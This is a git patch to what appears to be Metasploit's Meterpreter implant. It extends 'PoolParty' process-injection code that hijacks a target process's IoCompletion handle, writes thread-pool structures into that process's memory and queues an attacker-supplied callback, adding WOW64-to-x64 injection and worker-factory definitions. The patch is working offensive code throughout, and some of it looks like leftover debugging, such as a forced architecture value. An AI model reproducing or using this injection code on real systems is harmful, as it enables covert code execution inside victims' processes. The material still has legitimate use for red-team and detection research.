From 7eab552207dc8d93afc04417e9fff69ff151f027 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 30 Aug 2024 05:17:03 -0400 Subject: [PATCH] feat: improving remote handles fetching, tp_direct_insertion support wow64->x64 injection --- c/meterpreter/source/metsrv/pool_party.c | 55 ++++++++++------- c/meterpreter/source/metsrv/pool_party_ext.h | 63 ++++++++++++++++++-- 2 files changed, 93 insertions(+), 25 deletions(-) diff --git a/c/meterpreter/source/metsrv/pool_party.c b/c/meterpreter/source/metsrv/pool_party.c index 0d5e9146..09f19655 100644 --- a/c/meterpreter/source/metsrv/pool_party.c +++ b/c/meterpreter/source/metsrv/pool_party.c @@ -53,7 +53,8 @@ pNtDll* GetOrInitNtDll() { return ntdll; } -HANDLE GetIoCompletionHandle(HANDLE hProcess) { + +HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) { HANDLE hHijackHandle = INVALID_HANDLE_VALUE; ULONG dwInformationSizeIn = 2048; ULONG dwInformationSizeOut = 0; @@ -65,14 +66,14 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) { DWORD ntStatus = 0; lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); - dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p", lpProcessInfo); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo); while (TRUE) { ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut); - dprintf("[INJECT][inject_via_poolparty][get_io_completion] NtQueryInformationProcess() : %p", ntStatus); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus); if (ntStatus == 0xC0000004L && dwInformationSizeIn != dwInformationSizeOut) { lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut); - dprintf("[INJECT][inject_via_poolparty][get_io_completion] HeapReAlloc lpProcessInfo: %p", lpProcessInfo); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc lpProcessInfo: %p", lpProcessInfo); dwInformationSizeIn = dwInformationSizeOut; continue; } @@ -84,16 +85,16 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) { break; } } - dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn); dwInformationSizeIn = 2048; dwInformationSizeOut = 0; lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); - dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpObjectInfo: %p", lpObjectInfo); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: %p", lpObjectInfo); for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) { - if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, IO_COMPLETION_ALL_ACCESS, FALSE, 0)) { + if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, dwDesiredAccess, FALSE, 0)) { ntDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut); if (dwInformationSizeIn > dwInformationSizeOut) { - if (lstrcmpW(L"IoCompletion", lpObjectInfo->TypeName.Buffer) == 0) { + if (lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) { break; } } @@ -103,11 +104,11 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) { } HeapFree(hHeap, 0, lpObjectInfo); HeapFree(hHeap, 0, lpProcessInfo); - dprintf("[INJECT][inject_via_poolparty][get_io_completion] hHijackHandle: %p", hHijackHandle); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] hHijackHandle: %p", hHijackHandle); return hHijackHandle; } -DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) { +DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) { BOOL bError = FALSE; HANDLE hHijackHandle = INVALID_HANDLE_VALUE; ULONG dwInformationSizeIn = 1; @@ -124,7 +125,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION]) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED) } - hHijackHandle = GetIoCompletionHandle(hProcess); + hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS); if (hHijackHandle == INVALID_HANDLE_VALUE) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED) @@ -132,10 +133,10 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp if (hHijackHandle != INVALID_HANDLE_VALUE) { PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL); - PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL); + PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT) + sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + PTP_DIRECT pRemoteTpDirect = (PTP_DIRECT)(pRemoteTpWait + sizeof(FULL_TP_WAIT)); - PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL); WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL); ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL); dwResult = 0; @@ -144,7 +145,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp return dwResult; } -DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) { +DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) { BOOL bError = FALSE; HANDLE hHijackHandle = INVALID_HANDLE_VALUE; ULONG dwInformationSizeIn = 1; @@ -152,28 +153,39 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID pNtDll* ntDll = NULL; DWORD dwResult = ERROR_POOLPARTY_GENERIC; HANDLE hHeap = GetProcessHeap(); - TP_DIRECT Direct = { 0 }; + dwDestinationArch = PROCESS_ARCH_X64; + DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86; + + WOW64_CONTEXT test = { 0 }; + LPVOID *Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwDirectSize); do { ntDll = GetOrInitNtDll(); + dprintf("%d fs offset: %p", sizeof(WOW64_CONTEXT), (QWORD)&test.SegFs - (QWORD)&test); if (ntdll == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC); } if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION]) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED) } - hHijackHandle = GetIoCompletionHandle(hProcess); + hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS); if (hHijackHandle == INVALID_HANDLE_VALUE) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED) } if (hHijackHandle != INVALID_HANDLE_VALUE) { - Direct.Callback = lpStartAddress; - LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (dwDestinationArch == PROCESS_ARCH_X64) { + *(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress; + } + if (dwDestinationArch == PROCESS_ARCH_X86) { + *(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86) = (DWORD)((QWORD)lpStartAddress); + } + LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!RemoteDirectAddress) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED) } - if (!WriteProcessMemory(hProcess, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL)) { + if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED) } ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0); @@ -181,4 +193,5 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID } } while (0); return dwResult; -} \ No newline at end of file +} + diff --git a/c/meterpreter/source/metsrv/pool_party_ext.h b/c/meterpreter/source/metsrv/pool_party_ext.h index ced1a524..ee39f9c6 100644 --- a/c/meterpreter/source/metsrv/pool_party_ext.h +++ b/c/meterpreter/source/metsrv/pool_party_ext.h @@ -6,15 +6,19 @@ typedef struct IUnknown IUnknown; #include #include +#define TP_DIRECT_STRUCT_SIZE_X64 72 +#define TP_DIRECT_STRUCT_SIZE_X86 56 +#define TP_DIRECT_STRUCT_CB_OFFSET_X64 0x38 +#define TP_DIRECT_STRUCT_CB_OFFSET_X86 0x28 + // ---------// // Structs // // --------// -#ifndef __MINGW32__ + typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID; -#endif //typedef struct _FILE_IO_COMPLETION_INFORMATION //{ @@ -505,12 +509,65 @@ typedef VOID(NTAPI* PTP_ALPC_CALLBACK)( _In_ PFULL_TP_ALPC Alpc ); +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS ( \ + STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN \ +) + +// -----------// +// Structures // +// ----------// + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION +{ + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; + typedef struct pNtDll { NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); NTSTATUS(NTAPI* pNtQueryObject)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG); NTSTATUS(NTAPI* pZwAssociateWaitCompletionPacket)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN); NTSTATUS(NTAPI* pZwSetIoCompletion)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR); + + + NTSTATUS(NTAPI* pNtQueryInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG); + NTSTATUS(NTAPI* pNtSetInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG); //NTSTATUS(NTAPI* pZwSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG); //NTSTATUS(NTAPI* pNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES); @@ -522,7 +579,5 @@ typedef struct pNtDll { //NTSTATUS(NTAPI* pNtTpAllocAlpcCompletion)(PVOID, HANDLE, PVOID, PVOID, PVOID); //NTSTATUS(NTAPI* pTpAllocJobNotification)(PVOID, HANDLE, PVOID, PVOID, PVOID); - //NTSTATUS(NTAPI* pNtQueryInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG); - //NTSTATUS(NTAPI* pNtSetInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG); }pNtDll; #endif \ No newline at end of file